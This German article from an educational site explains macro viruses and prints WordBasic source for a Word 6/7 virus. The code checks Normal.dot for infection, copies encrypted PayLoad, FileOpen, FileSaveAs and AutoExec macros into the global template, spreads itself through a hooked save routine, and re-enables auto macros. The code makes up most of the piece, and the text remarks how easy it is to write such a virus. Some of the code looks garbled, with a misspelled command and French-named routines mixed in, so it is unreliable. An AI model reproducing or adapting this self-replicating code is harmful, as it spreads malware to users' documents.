Startseite   |  Site map   |  A-Z artikel   |  Artikel einreichen   |   Kontakt   |  
   
  •  
    Biologie
    Themen der Chemie
    Deutsch online artikel
    Englisch / Englische
    Franzosisch
    Geographie
    Geschichte
    Informatik
    Kunst
    Mathematik / Studium
    Musik
    Philosophie
    Physik
    Recht
    Sport
    Wirtschaft & Technik



    Biographie

    Impressum

informatik artikel (Interpretation und charakterisierung)

Hardware

Eine kleine einführung in die funktionsweise von makroviren


1. Java
2. Viren



1. Vorbereitung Diese Beschreibung dient dem Selbststudium über Funktionsweisen von Makroviren. Dieses Dokument soll nicht als Anleitung oder Ermutigung von Programmieren von Makro¬viren, Viren, oder anderen destruktiven Programmen ermutigen. Der Autor dieses Dokuments haftet für keine Schäden, die aus der direkten oder indirekten Verwendung dieses Dokumentes resultieren!
Zu aller erst sollte man ein Backup der Datei "Normal.dot" im Word Vorlagen Verzeichnis machen, in der DOS-Box mit folgendem Kommando: copy normal.dot normal.sav (im Word Vorlagen Verzeichnis).


2. Struktur
Viele Makroviren haben eine einfache und übersichtliche Struktur, an der man sehr gut nachvollziehen kann, wie (generell) "qualitativ hochwertige" Viren programmiert werden. Obwohl die Implementationssprache (der BASIC-Dialekt "WordBasic") keine besonders gute ist (Anachronismen => "goto"), ist der Quelltext doch verständlich. Um ein wenig mitzukommen, wie alles wirklich funktioniert, sollten sie die Hilfedatei zu WordBasic installiert haben und auch mindestens eine Programmiersprache (z.B. PASCAL, besser noch TCL) beherrschen.
Das hier ist eine erste Grundstruktur, die testet, ob eine Vorlage schon infiziert. Ist dieser Test negativ, so infiziert der Virus die Vorlage:

Sub MAIN
' Das ist ein Kommentar in BASIC

On Error Goto Abort
iMacroCount = CountMacros(0, 0)
\'Auf eine bereits bestehende Infektion überprüfen
For i = 1 To iMacroCount
If MacroName$(i, 0, 0) = \"PayLoad\" Then
bInstalled = - 1

\'Gibt es schon ein PayLoad Makro?
End If
If MacroName$(i, 0, 0) = \"FileSaveAs\" Then
bTooMuchTrouble = - 1
\'Gibt es schon ein FileSaveAs, ist die Infektion zu kompliziert!
End If

Next i
If Not bInstalled And Not bTooMuchTrouble Then
\'Kopien von FileSaveAs und AutoExec anlegen
\'Payload dient nur zum Überprüfen, ob die Vorlage schon infiziert ist.
\'Das ,1 verschlüsselt alle Makros, damit sie nicht mehr in Word gelesen
\'werden können.
iWW6IInstance = Val(GetDocumentVar$(\"WW6Infector\"))
sMe$ = FileName$()

Macro$ = sMe$ + \":PayLoad\"
MacroCopy Macro$, \"Global:PayLoad\", 1

Macro$ = sMe$ + \":FileOpen\"
MacroCopy Macro$, \"Global:FileOpen\", 1

Macro$ = sMe$ + \":FileSaveAs\"
MacroCopy Macro$, \"Global:FileSaveAs\", 1

Macro$ = sMe$ + \":AutoExec\"
MacroCopy Macro$, \"Global:AutoExec\", 1
SetProfileString \"WW6I\", Str$(iWW6IInstance + 1)
End If

Abort:
End Sub

Das war die erste Grundstruktur eines Makrovirus. Dieser Quelltext funktioniert jedoch nur auf englischem Word 6 oder 7, in der deutschen Version versteht der Interpreter die englischen Befehle nicht. Das habe ich aus Sicherheit gemacht, damit niemand dieses Dokument mißbrauchen kann (niemand wird ein englisches Word besitzen)!

Dieser Code wird in die SaveAs Routine eingebracht:
Sub MAIN
Dim dlg As FileSaveAs

GetCurValues dlg
Dialog dlg
If (Dlg.Format = 0) Or (dlg.Format = 1) Then
'Hier könnte man wieder das ,1 verwenden, um die Makros zu verschlüsseln!
MacroCopy \"FileSaveAs\", WindowName$() + \":FileSaveAs\"
MacroCopy \"FileSave \", WindowName$() + \":FileSave\"
MacroCopy \"PayLoad\", WindowName$() + \":PayLoad\"
MacroCopy \"FileOpen\", WindowName$() + \":FileOpen\"

Dlg.Format = 1
End If

FileDaveAs dlg
End Sub

Das ist bis jetzt ein ziemlich effektives Makro, um den Virus zu verbreiten. Nun gilt es auch, den Makrovirus zu verstecken oder eine Schadensroutine auszuführen (was natürlich destruktiv ist!).

Dazu kann man dieses Makro verwenden:

Sub MAIN

On Error Goto ErrorRoutine


OldName$ = NomFichier$()

If macros.bDebug Then
MsgBox \"start ToolsMacro\"

Dim dlg As OutilsMacro
If macros.bDebug Then MsgBox \"1\"

GetCurValues dlg
If macros.bDebug Then MsgBox \"2\"

On Error Goto Skip
Dialog dlg

OutilsMacro dlg
Skip:

On Error Goto ErrorRoutine

End If

REM enable automacros

DisableAutoMacros 0


macros.SavToGlobal(OldName$)
macros.objectiv

Goto Done


ErrorRoutine:
On Error Goto Done
If macros.bDebug Then
MsgBox \"error \" + Str$(Err) + \" occurred\"

End If


Done:
End Sub

3. Nachwort
Diese Beispiele verdeutlichen, wie einfach es doch ist, seinen eigenen Makrovirus zu programmieren. Microsoft hat es wirklich leicht gemacht und auf viele Schutzfunktionen vergessen. Interessant werden auch Makroviren, deren Wirtsdokument von Word 95 auf Word 97/2000 konvertiert wird. Dies ist eine nicht zu unterschätzende Gefahr: dabei entstehen neue Versionen von bereits bekannten Viren, AntiViren-Programme müssen erst damit umgehen lernen (z.B. McAfee: Update der Virus Data Files ist dann notwendig). Doch nur ca. 5 % aller Makroviren überleben diese Konvertierung, denn die Schutzfunktion in Word 97 sind um einiges strenger geworden.

 
 




Datenschutz

Top Themen / Analyse
Schnittstelle und Bussysteme
Der Aufzeichnungsvorgang
Adobe
Werte, Namen und Datentypen
Funktion einer Frequenzweiche
DATEN SIND STATISCH; PROZEDUREN NICHT
Lochmaskenröhre
Was wird für ein WAN oder GAN benötigt?
Die Geschichte der Mikroprozessoren
Aufbau des Computers





Datenschutz

Zum selben thema
Netzwerk
Software
Entwicklung
Windows
Programm
Unix
Games
Sicherheit
Disk
Technologie
Bildung
Mp3
Cd
Suche
Grafik
Zahlung
Html
Internet
Hardware
Cpu
Firewall
Speicher
Mail
Banking
Video
Hacker
Design
Sprache
Dvd
Drucker
Elektronisches
Geschichte
Fehler
Website
Linux
Computer
A-Z informatik artikel:
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z #

Copyright © 2008 - : ARTIKEL32 | Alle rechte vorbehalten.
Vervielfältigung im Ganzen oder teilweise das Material auf dieser Website gegen das Urheberrecht und wird bestraft, nach dem Gesetz.